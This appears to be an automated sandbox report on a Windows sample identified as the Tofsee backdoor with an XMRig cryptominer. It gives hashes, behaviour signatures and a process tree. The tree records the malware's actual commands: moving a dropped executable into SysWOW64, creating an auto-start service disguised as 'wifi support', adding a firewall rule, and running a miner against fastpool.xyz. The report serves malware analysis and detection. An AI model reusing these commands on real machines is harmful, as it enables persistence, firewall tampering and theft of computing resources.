Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    26-09-2021 23:46

General

  • Target

    a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95.exe

  • Size

    154KB

  • MD5

    731ed07c7e9152ff176cdc849d5ea6a9

  • SHA1

    384a9ceaf5dc5cc4fafc61f32137d39fdfffd362

  • SHA256

    a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95

  • SHA512

    63a1f5ce166559cd0ae895d76d6117fd28d6404c2f2bd1e710dfd94310b012417ab9a78312aa31a43eddf94ff1d47c4461a19c8ab69e9ffb3bd22e46971d52ad

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95.exe
    "C:\Users\Admin\AppData\Local\Temp\a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sisgmivf\
      2⤵
        PID:1196
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xatbzbjt.exe" C:\Windows\SysWOW64\sisgmivf\
        2⤵
          PID:1444
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sisgmivf binPath= "C:\Windows\SysWOW64\sisgmivf\xatbzbjt.exe /d\"C:\Users\Admin\AppData\Local\Temp\a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1756
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description sisgmivf "wifi internet conection"
            2⤵
              PID:1604
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start sisgmivf
              2⤵
                PID:2492
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2760
              • C:\Windows\SysWOW64\sisgmivf\xatbzbjt.exe
                C:\Windows\SysWOW64\sisgmivf\xatbzbjt.exe /d"C:\Users\Admin\AppData\Local\Temp\a8550ef6b3660ccc7ae2d593c45c22775cf18b392f1b85e567dd720b0ef04b95.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2740
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:4000
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1928

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\xatbzbjt.exe
                MD5

                1fd80e12accf160d9d113a342c0938a4

                SHA1

                1bddec76bd1e5035b2e181fb1a839b5b910e050e

                SHA256

                81dbd8c5723737ca1db0ed668b9a45a42641336bee384a2bc77ba38d6cfe5895

                SHA512

                2657c784a3f52931ef9af3553bccdec76daa1bee8389acc193597b3486af2d751c4a2f33092eec22ab8fd1a2b7db831010f40b3b29053ef54dcc72ce9da4891d

              • C:\Windows\SysWOW64\sisgmivf\xatbzbjt.exe
                MD5

                1fd80e12accf160d9d113a342c0938a4

                SHA1

                1bddec76bd1e5035b2e181fb1a839b5b910e050e

                SHA256

                81dbd8c5723737ca1db0ed668b9a45a42641336bee384a2bc77ba38d6cfe5895

                SHA512

                2657c784a3f52931ef9af3553bccdec76daa1bee8389acc193597b3486af2d751c4a2f33092eec22ab8fd1a2b7db831010f40b3b29053ef54dcc72ce9da4891d

              • memory/396-115-0x0000000000400000-0x00000000004AD000-memory.dmp
                Filesize

                692KB

              • memory/396-114-0x00000000001E0000-0x00000000001F3000-memory.dmp
                Filesize

                76KB

              • memory/1196-116-0x0000000000000000-mapping.dmp
              • memory/1444-117-0x0000000000000000-mapping.dmp
              • memory/1604-120-0x0000000000000000-mapping.dmp
              • memory/1756-119-0x0000000000000000-mapping.dmp
              • memory/1928-136-0x00000000006B0000-0x00000000007A1000-memory.dmp
                Filesize

                964KB

              • memory/1928-135-0x000000000074259C-mapping.dmp
              • memory/1928-131-0x00000000006B0000-0x00000000007A1000-memory.dmp
                Filesize

                964KB

              • memory/2492-121-0x0000000000000000-mapping.dmp
              • memory/2740-128-0x0000000000400000-0x00000000004AD000-memory.dmp
                Filesize

                692KB

              • memory/2760-122-0x0000000000000000-mapping.dmp
              • memory/4000-129-0x0000000000710000-0x0000000000725000-memory.dmp
                Filesize

                84KB

              • memory/4000-125-0x0000000000719A6B-mapping.dmp
              • memory/4000-124-0x0000000000710000-0x0000000000725000-memory.dmp
                Filesize

                84KB